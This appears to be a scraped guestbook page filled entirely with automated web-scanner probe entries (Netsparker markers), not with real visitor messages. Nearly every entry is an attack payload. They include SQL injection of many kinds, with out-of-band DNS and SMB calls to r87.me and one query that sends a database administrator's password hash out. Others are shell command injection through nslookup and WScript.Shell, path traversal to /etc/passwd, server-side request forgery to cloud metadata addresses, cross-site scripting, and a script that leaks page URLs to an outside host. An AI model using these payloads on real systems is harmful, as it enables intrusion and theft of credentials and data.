+ '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(48)||chr(115)||chr(111)||chr(113)||chr(113)||chr(108)||chr(118)||chr(105)||chr(116)||chr(120)||chr(95)||chr(50)||chr(113)||chr(95)||chr(97)||chr(109)||chr(110)||chr(104)||chr(118)||chr(106)||chr(53)||chr(97)||chr(102)||chr(98)||chr(97)||chr(115)||chr(118)||chr(112)||chr(56)||chr(109)||chr(116)||chr(119)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

1';expr 268409241 - 2;'

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:51 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)))) +

+
+

|nslookup${IFS}"o010_rdnxualozt818le1ziotmfwfoxumkuqkklf""ury.r87.me"

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:51 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(50)||chr(121)||chr(108)||chr(109)||chr(113)||chr(105)||chr(98)||chr(116)||chr(98)||chr(106)||chr(102)||chr(114)||chr(116)||chr(115)||chr(103)||chr(120)||chr(116)||chr(97)||chr(99)||chr(116)||chr(119)||chr(102)||chr(103)||chr(108)||chr(121)||chr(121)||chr(111)||chr(101)||chr(109)||chr(98)||chr(109)||chr(107)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)))) +

+
+

|nslookup${IFS}"o010_rdnxupxt_xsmil_jux4oafb_du8w6vkiqyd""z1o.r87.me"

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:50 AM +

+

+ 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1 +

+
+

"&nslookup "o010_rdnxu0mp9tjmo-33ousfksyvnlwquiyduic""f8i.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

"&nslookup "o010_rdnxukwavmnr6uxmaxw6iqm947lohljnseu""90e.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:50 AM +

+

+ (select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(98)||chr(103)||chr(98)||chr(118)||chr(122)||chr(122)||chr(49)||chr(111)||chr(99)||chr(97)||chr(97)||chr(107)||chr(102)||chr(95)||chr(100)||chr(120)||chr(99)||chr(102)||chr(102)||chr(107)||chr(122)||chr(102)||chr(116)||chr(99)||chr(122)||chr(119)||chr(100)||chr(110)||chr(117)||chr(118)||chr(97)||chr(97)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL) +

+
+

'&nslookup "o010_rdnxufxhyjejjfwkr4vrg6mnixwezhu-ms5""fqe.r87.me"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

1";expr 268409241 - 2;"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

'&nslookup "o010_rdnxurzlw5uznq-jb2th_efsvc6lksde7ye""btw.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:49 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu_qtsdowlkh_flfjjfm6coylz1xh0ty'||'430.r87.me') from DUAL))||' +

+
+

Smith

+

+ 8/23/2017 8:08:49 AM +

+

+ -1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1 +

+
+

&nslookup "o010_rdnxurwtbxapfqfrrebybzda41jwx1vpgsj""oac.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

javascript:netsparker(0x002A73)

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

SET /A 0xFFF9999-2

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

&nslookup "o010_rdnxuyfq2weofqljkjqkwsx_6xtr_2hvea3""_iq.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:49 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuqdcigkl6azza8s4r2gp2-25mjbx4ka'||'n2w.r87.me') from DUAL)))) +

+
+

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

nslookup "o010_rdnxuyjn5wzhc0m_dce4_w_6jdto3tyaun5""g2w.r87.me"

+

+ 8/23/2017 8:08:49 AM +

+

+ +

+
+

nslookup "o010_rdnxujonf6gnfiqeyujfhlrkspnro4qzd26""lsu.r87.me"

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&'\"`0&nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

'& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&'\"`0&nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

'& nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&'\"`0&nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&`'

+

+ 8/23/2017 8:08:48 AM +

+

+ +

+
+

"& SET /A 0xFFF9999-2 &

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

'& nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&'\"`0&nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

">

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

& nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&'\"`0&nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:47 AM +

+

+ -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:47 AM +

+

+ (select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxueuzk4q74y3ctb3qs_tui_2g-kxjl1h'||'v8a.r87.me') from DUAL) +

+
+

& nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&'\"`0&nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&`'

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

'>

+

+ 8/23/2017 8:08:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:46 AM +

+

+ ';l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxu2tztvtnuffxl9jn6ffqj05y9bmsrjz"+"lqw.r87.me/r/?"+location.href;document.head.appendChild(l);// +

+
+

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

+

+ 8/23/2017 8:08:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:46 AM +

+

+ ";l=document.createElement("link");l.rel="prefetch";l.href="//o010_rdnxuc1x0wt8ggryx4fhtkabsxzynfujlal"+"9om.r87.me/r/?"+location.href;document.head.appendChild(l);// +

+
+

//r87.com/n/j/?0x002A6C

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

((SELECT 1 FROM (SELECT SLEEP(25))A))

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&'\"`0&nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&`'

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ '||cast((SELECT dblink_connect('host=o010_rdnxuc1oin0c4hpckcp8foocm07anmkehpx'||'sf8.r87.me user=a password=a connect_timeout=2')) as numeric)||' +

+
+

//r87.com/n/j/?0x002A6B

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:44 AM +

+

+ (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&'\"`0&nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&`'

+

+ 8/23/2017 8:08:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:44 AM +

+

+ cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(54)||chr(102)||chr(101)||chr(98)||chr(104)||chr(108)||chr(122)||chr(114)||chr(111)||chr(106)||chr(114)||chr(110)||chr(119)||chr(122)||chr(117)||chr(106)||chr(106)||chr(49)||chr(53)||chr(98)||chr(107)||chr(103)||chr(54)||chr(114)||chr(98)||chr(108)||chr(121)||chr(121)||chr(121)||chr(115)||chr(110)||chr(105)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric) +

+
+

"+gethostbyname(lc 'o010_rdnxuwckoxuzj-q-mf353snaks__slwuazw'.'qhy.r87.me')+"

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

1));SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

//r87.com/n/n.css?0x002A6A

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

"+gethostbyname(lc 'o010_rdnxuyrs0rdhcpaevkc0jatjxz0kayfppxs'.'z-k.r87.me')+"

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

1'));SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:43 AM +

+

+ cast((SELECT dblink_connect('host=o010_rdnxuye7pxomr6cfzohxftgde-pawtzwufz'||'vj8.r87.me user=a password=a connect_timeout=2')) as numeric) +

+
+

'+gethostbyname(lc 'o010_rdnxuh0occyxcc2hyinn6dowfsyxqtydmgy'.'kwo.r87.me')+'

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

//r87.com/n/n.css?0x002A69

+

+ 8/23/2017 8:08:43 AM +

+

+ +

+
+

'+gethostbyname(lc 'o010_rdnxuwxepioueimpe3ahlrrde3dkelipswt'.'-r8.r87.me')+'

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

eval('gethostbyname(lc 'o010_rdnxuk4ssss_tqq_-f1cloohmjqc1a4ukdc'.'ea8.r87.me')')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

1 ns=netsparker(0x002A5F)

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

eval('gethostbyname(lc 'o010_rdnxuetffwa-rewtmbncgkgbslwp1-ybf-g'.'pqs.r87.me')')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

gethostbyname(lc 'o010_rdnxu-zjcoujzmjuke9htyaorejz9qjurq-'.'lqo.r87.me')

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

'" ns=netsparker(0x002A5D)

+

+ 8/23/2017 8:08:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:42 AM +

+

+ Guestbook.aspxďż˝ +

+
+

Smith

+

+ 8/23/2017 8:08:41 AM +

+

+ '+NSFTW+' +

+
+

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVDKTwvc2NyaXB0Pg==

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ dblink_connect('host=o010_rdnxurfmiai8zcwr84o0p6evaz7d39hh0gl'||'moy.r87.me user=a password=a connect_timeout=2') +

+
+

gethostbyname(lc 'o010_rdnxuoh9ue36x4nycsvapqjod7cki-45apl'.'fry.r87.me')

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ Guestbook.aspx +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:41 AM +

+

+ '"--> +

+
+

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVCKTwvc2NyaXB0Pg==

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

"+createobject("WScript.Shell").exec("nslookup o010_rdnxux1ttqm-fzkmhcw66lkunourokwjnk7" & "32o.r87.me").StdOut.ReadAll+"

+

+ 8/23/2017 8:08:41 AM +

+

+ +

+
+

1');SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A5A%29%3C%2FscRipt%3E

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ data:;base64,TlM3NzU0NTYxNDQ2NTc1 +

+
+

"+createobject("WScript.Shell").exec("nslookup o010_rdnxuwvkktv-6yshqe6vw9tqiagla_3jqio" & "qju.r87.me").StdOut.ReadAll+"

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A59%29%3C%2FscRipt%3E

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

<%createobject("WScript.Shell").exec("nslookup o010_rdnxuf3ngej5qagncr5bvvxvljk_kpokj2y" & "wqa.r87.me").StdOut.ReadAll%>

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

'"-->

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

<%createobject("WScript.Shell").exec("nslookup o010_rdnxuyjy44sbbwebomdllwwf7fw4vkyxjs-" & "y9m.r87.me").StdOut.ReadAll%>

+

+ 8/23/2017 8:08:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ //r87.com/?0x003F84 +

+
+

1);SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

N3TSP4RKE2

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd +

+
+

nxtspxrkex

+

+ 8/23/2017 8:08:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:39 AM +

+

+ [ns](javascript:netsparker(0x003F5C);) +

+
+

Smith

+

+ 8/23/2017 8:08:38 AM +

+

+ NSFTW +

+
+

n3tsp4rke2

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ /etc/passwd +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ '"@--> +

+
+

SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuto2k0fjezhd6ruyabepqc45o-vpngt" & "ano.r87.me").StdOut.ReadAll+

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuwexbwswn8pfbf1bvusjtypxuvm3jjl" & "8u8.r87.me").StdOut.ReadAll+

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

1;SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxuk1vfgf_nxm1mrxeiqxvvlf3himsg8s" & "jba.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:38 AM +

+

+ +

+
+

+createobject("WScript.Shell").exec("nslookup o010_rdnxu_9gkrgwih7dhflofu_eqqvydzpjavl" & "cpq.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

1';SELECT pg_sleep(25)--

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ /../../../../../../../../../../../etc/passwd +

+
+

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1

+

+ 8/23/2017 8:08:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ SELECT dblink_connect('host=o010_rdnxuwc_kfykszf75db_ax6zbbyyoxdg8k_'||'qzk.r87.me user=a password=a connect_timeout=2') +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:37 AM +

+

+ ....//....//....//....//....//....//....//....//....//....//....//etc/passwd +

+
+

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:36 AM +

+

+ (select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL) +

+
+

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:36 AM +

+

+ /../../../../../../../../../../../etc/passwdďż˝.aspx +

+
+

((select sleep(25)))a-- 1

+

+ 8/23/2017 8:08:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ -1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxu8b6_xkwdsrwt4gwl_lkdsxuuc1f9k4'+'czi.r87.me')exec sp_executesql @r-- +

+
+

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1

+

+ 8/23/2017 8:08:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ http://127.0.0.1:3306 +

+
+

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/

+

+ 8/23/2017 8:08:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:35 AM +

+

+ 1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxup6v2xrho-agsnpydygm_pkesjulnnp'+'wma.r87.me')exec sp_executesql @r-- +

+
+

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:34 AM +

+

+ http://127.100.11.2:22 +

+
+

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:34 AM +

+

+ DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxupbv1t36dv7tzzeox9rl8zugpbd_mhj'+'wko.r87.me')exec sp_executesql @r +

+
+

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:33 AM +

+

+ syscolumns WHERE 2>3;exec('xp_dirtree ''\\o010_rdnxugi6fcmdl7tqijcg_dhzstdxi0av1ls'+'i54.r87.me'+'\c$\a''')-- +

+
+

Smith

+

+ 8/23/2017 8:08:33 AM +

+

+ '||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||' +

+
+

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

+

+ 8/23/2017 8:08:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:33 AM +

+

+ 1'))exec('xp_dirtree ''\\o010_rdnxutwemwyt9d1nwv6740sq_xpfpkgi9qq'+'jui.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:32 AM +

+

+ 1))exec('xp_dirtree ''\\o010_rdnxuvyahvsvdwvwnhpev-1y_jzea_erche'+'iua.r87.me'+'\c$\a''')-- +

+
+

1)) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:32 AM +

+

+ 1')exec('xp_dirtree ''\\o010_rdnxunqbmffb-v8f3qumhlvjx32pp5yrf1j'+'s0u.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:31 AM +

+

+ 1) exec('xp_dirtree ''\\o010_rdnxuiryit2trwhl00odqhbsyhzffkd3jbb'+'sbi.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:31 AM +

+

+ -1';exec('xp_dirtree ''\\o010_rdnxugw6rfhxz5aklh2une_slh02ob6by0q'+'kok.r87.me'+'\c$\a''')-- +

+
+

')) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:30 AM +

+

+ 1;exec('xp_dirtree ''\\o010_rdnxu9adc8rk7jnup44n1jz6tpljawvlts2'+'uee.r87.me'+'\c$\a''')-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:30 AM +

+

+ declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxukhfwqkeuv058gewixgfypu745a1f_z'+'cxg.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''') +

+
+

Smith

+

+ 8/23/2017 8:08:29 AM +

+

+ cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric) +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ exec('xp_dirtree ''\\o010_rdnxu533uyql6ntyanq9todluufh1ih9cb9'+'_n4.r87.me'+'\c$\a''') +

+
+

') WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:29 AM +

+

+ http://169.254.169.254/latest/meta-data/public-hostname +

+
+

createobject("WScript.Shell").exec("nslookup o010_rdnxuywsew0o5sjgi6iwpqxtdyqacxk0uvs" & "j3o.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:28 AM +

+

+ (SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97))) +

+
+

createobject("WScript.Shell").exec("nslookup o010_rdnxucn-4s_krnq45mumreo6wjmjklrp5no" & "o20.r87.me").StdOut.ReadAll

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ /../../../../../../../../../../../etc/passwdďż˝ +

+
+

'{${gethostbyname(trim('o010_rdnxudsglo9yfepaqhhpgycqeqivxc0wuki'.'2n8.r87.me'))}}'

+

+ 8/23/2017 8:08:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ http://aws.r87.me/latest/meta-data/public-hostname +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:28 AM +

+

+ file:///etc/passwd +

+
+

Smith

+

+ 8/23/2017 8:08:28 AM +

+

+ -1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+" +

+
+

'{${gethostbyname(trim('o010_rdnxublor8upun3x2iw3evqvbn_qgddb61-'.'_ku.r87.me'))}}'

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

1) WAITFOR DELAY '0:0:25'--

+

+ 8/23/2017 8:08:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:27 AM +

+

+ /../../../../../../../../../../../etc/passwd +

+
+

